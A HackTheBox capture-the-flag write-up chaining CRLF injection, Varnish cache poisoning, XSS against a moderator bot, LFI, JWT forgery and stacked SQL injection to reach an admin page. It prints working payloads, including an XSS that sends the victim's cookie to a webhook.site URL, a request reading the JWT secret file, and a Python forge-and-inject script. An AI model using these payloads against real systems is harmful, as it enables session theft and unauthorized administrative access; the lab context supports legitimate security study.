$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Task: a Varnish-fronted Zig and Flask application with CRLF injection, reflected XSS, LFI, JWT handling, and SQLi. Solution: poison the oracle cache to steal a moderator JWT, read the JWT secret via LFI, forge an admin token, insert its signature with stacked SQLi, and access the admin page.
This is a detailed solution reconstructed from the OpenCode session OmniWatch hackthebox challenge and its actual exploitation on a live instance.
Important: the exploitation chain is identical to the old writeup, but the final hash inside the flag is different for this instance.
The crew has uncovered the IP address of a web interface used by the mercenary group called "Gunners" to track and spy on their enemies. To locate an elusive black market dealer for a critical trade, the team must hack into this gunners network and retrieve the last known location of a caravan that was recently ambushed in the wasteland.
English summary: the target is a Varnish-fronted application with a Zig oracle service, a Flask controller, and a headless moderator bot. The goal is to chain multiple bugs to reach the admin panel and recover the flag.
Flag:
HTB{REDACTED}
Chain:
deviceIdCacheKey: enablemode/controller/firmware to read /app/jwt_secret.txtsignatures/controller/admin and recover the flagThe first thing that stands out:
curl -I http://TARGET/
Response:
HTTP/1.1 301 Moved Permanently Server: Varnish Location: /controller
So the application is behind Varnish, which immediately suggests cache poisoning, key confusion, or other unkeyed-input issues.
Next, inspect /oracle:
curl -sv http://TARGET/oracle/json/1
This returns useful headers:
HTTP/1.1 200 OK Content-Type: application/json DeviceId: 1 Cache-Control: public, max-age=0 X-Cache: MISS
Two things matter immediately here:
DeviceId is reflected from the URLFrom the source code, the layout looks like this:
Varnish ├── /controller/* -> Flask/Python └── /oracle/* -> Zig/httpz Chromium bot: 1. logs in as moderator 2. then visits /oracle/json/{id}
This is already suspicious: if /oracle/json/... can be poisoned, the bot will open the poisoned page itself while carrying the moderator cookie.
The critical part of cache.vcl is:
sub vcl_hash { hash_data(req.http.CacheKey); return (lookup); } sub vcl_backend_response { if (beresp.http.CacheKey == "enable") { set beresp.ttl = 10s; set beresp.http.Cache-Control = "public, max-age=10"; } else { set beresp.ttl = 0s; set beresp.http.Cache-Control = "public, max-age=0"; } }
The idea is simple:
CacheKey: enable, Varnish caches the response for 10 secondsSo the goal is to make the backend return that header.
From main.zig:
router.get("/oracle/:mode/:deviceId", oracle); const deviceId = req.param("deviceId").?; const mode = req.param("mode").?; const decodedDeviceId = try std.Uri.unescapeString(allocator, deviceId); const decodedMode = try std.Uri.unescapeString(allocator, mode);
Then decodedDeviceId is placed into the DeviceId header, and the value is written without sanitization. During the session it was separately verified that headers in response.zig are rendered as:
name: value\r\n
If value already contains \r\n, a new header is created.
Verification:
curl --path-as-is -sv \ 'http://TARGET/oracle/html/1%0d%0aInjected:%20yes'
After this, the response contains the injected header, proving the CRLF works.
Next check:
curl --path-as-is -sv \ 'http://TARGET/oracle/html/1%0d%0aCacheKey:%20enable'
The response now contains:
CacheKey: enable Cache-Control: public, max-age=10
So caching is now enabled.
mode is reflected into the HTML body of the oracle page. That means the page can be made HTML instead of JSON and used to carry XSS.
We need two things at the same time:
deviceIdmodeThere is one complication: the Zig router splits the path on /, so raw slashes inside the XSS break the route.
The session found the following workaround:
%2F inside mode%2F as part of the segment, and Zig later decodes it back to /Verification:
curl --path-as-is \ 'http://TARGET/oracle/test%2Fwith%2Fslashes/1'
The body becomes:
<p>Mode: test/with/slashes</p>
So the bypass works correctly.
The final poisoning combination is:
mode = XSS payloaddeviceId = 1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2FhtmlPurpose:
CacheKey: enable — enable cachingContent-Type: text/html — force the browser to render HTML instead of JSONWorking test from the session:
WEBHOOK_UUID="733ca082-f915-4259-83a3-7895501ef24d" XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" curl --path-as-is -sv \ "http://TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}"
Then verify the cache:
curl -sv http://TARGET/oracle/json/5
This returns:
CacheKey: enable Content-Type: text/html X-Cache: HIT
So any request to /oracle/json/* now returns the poisoned HTML.
The challenge exposes this endpoint:
curl http://TARGET/controller/bot_running
It returns running or not_running.
From the bot logic and the session:
moderator/oracle/json/{id}Working loop:
/controller/bot_runningrunning, wait 4 seconds/oracle/json/...Working script from the session:
WEBHOOK_UUID="733ca082-f915-4259-83a3-7895501ef24d" TARGET="http://TARGET" XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" for i in $(seq 1 120); do STATUS=$(curl -s --max-time 3 "$TARGET/controller/bot_running") if [ "$STATUS" = "running" ]; then sleep 4 curl --path-as-is -s "$TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}" > /dev/null sleep 12 curl -s "https://webhook.site/token/${WEBHOOK_UUID}/requests?sorting=newest&per_page=3" break fi sleep 0.5 done
Session result:
[+] STOLEN COOKIE: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....
This yields the moderator JWT.
Next, analyze the Flask code.
From config.py:
class Config(object): JWT_KEY = open("/app/jwt_secret.txt", "r").read()
So if there is a file-read primitive, the path is already known.
In this challenge, /controller/firmware uses os.path.join() with attacker-controlled input. An absolute path bypasses the base directory, so /app/jwt_secret.txt can be requested directly.
Request from the session:
curl -s -X POST "$TARGET/controller/firmware" \ -b "jwt=$MOD_JWT" \ -d "patch=/app/jwt_secret.txt"
Response:
#c3UqSHyi4nH2k7
That is the JWT secret for the current instance.
From routes.py:
signature = jwt_cookie.split(".")[-1] saved_signature = mysql_interface.fetch_signature(user_id) if saved_signature != signature: mysql_interface.delete_signature(user_id) return redirect("/controller/login")
So the token must not only be cryptographically valid: its signature must also match the value stored in the database.
That means a second step is required: insert the new signature into the signatures table.
From database.py:
def query(self, query, args=(), one=False, multi=False): ... if not multi: cursor.execute(query, args) else: queries = query.split(";") for statement in queries: cursor.execute(statement, args)
The application itself splits the query on ; and executes statements one by one. If any query is built through an f-string, stacked SQLi becomes trivial.
The session used a payload like this:
payload = f"1'; INSERT INTO signatures(user_id, signature) VALUES({uid}, '{sig}');-- "
It was then sent to the device endpoint:
requests.get( f'{TARGET}/controller/device/{urllib.parse.quote(payload)}', cookies={'jwt': MOD_JWT}, timeout=10, )
After that, the table signatures contains the signature for the forged admin JWT.
Create the token:
import jwt admin_jwt = jwt.encode( { 'user_id': 999, 'username': 'admin', 'account_type': 'administrator', }, SECRET, algorithm='HS256' )
Then:
/controller/admin with the forged JWTWorking code from the session:
import jwt, requests, urllib.parse, re TARGET = 'http://TARGET' SECRET = '#c3UqSHyi4nH2k7'.strip() uid = 999 admin_jwt = jwt.encode( {'user_id': uid, 'username': 'admin', 'account_type': 'administrator'}, SECRET, algorithm='HS256' ) sig = admin_jwt.split('.')[-1] payload = f"1'; INSERT INTO signatures(user_id, signature) VALUES({uid}, '{sig}');-- " requests.get( f'{TARGET}/controller/device/{urllib.parse.quote(payload)}', cookies={'jwt': MOD_JWT}, timeout=10, ) r = requests.get( f'{TARGET}/controller/admin', cookies={'jwt': admin_jwt}, timeout=10, allow_redirects=False, ) print(re.search(r'HTB\{[^}]+\}', r.text).group(0))
Result:
HTB{REDACTED}
curl -I http://TARGET/ curl -sv http://TARGET/oracle/json/1
curl --path-as-is -sv 'http://TARGET/oracle/html/1%0d%0aInjected:%20yes' curl --path-as-is -sv 'http://TARGET/oracle/html/1%0d%0aCacheKey:%20enable'
%2F inside modecurl --path-as-is 'http://TARGET/oracle/test%2Fwith%2Fslashes/1'
WEBHOOK_UUID="..." XSS_MODE="%3Cscript%3Efetch(%22https:%2F%2Fwebhook.site%2F${WEBHOOK_UUID}%3Fc%3D%22%2Bdocument.cookie)%3C%2Fscript%3E" CRLF_DEVICE="1%0d%0aCacheKey:%20enable%0d%0aContent-Type:%20text%2Fhtml" curl --path-as-is "http://TARGET/oracle/${XSS_MODE}/${CRLF_DEVICE}" curl -sv http://TARGET/oracle/json/5
curl http://TARGET/controller/bot_running
Then poll → wait 4s → poison → collect the cookie.
curl -s -X POST http://TARGET/controller/firmware \ -b "jwt=$MOD_JWT" \ -d "patch=/app/jwt_secret.txt"
Use the script shown above.
This is not a single bug, but a real chain:
Everything had to be linked together:
CRLF -> CacheKey -> Varnish poisoning -> XSS on bot -> stolen moderator JWT -> LFI -> JWT secret -> forged admin JWT -> SQLi -> valid signature in DB -> /admin -> flag
$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar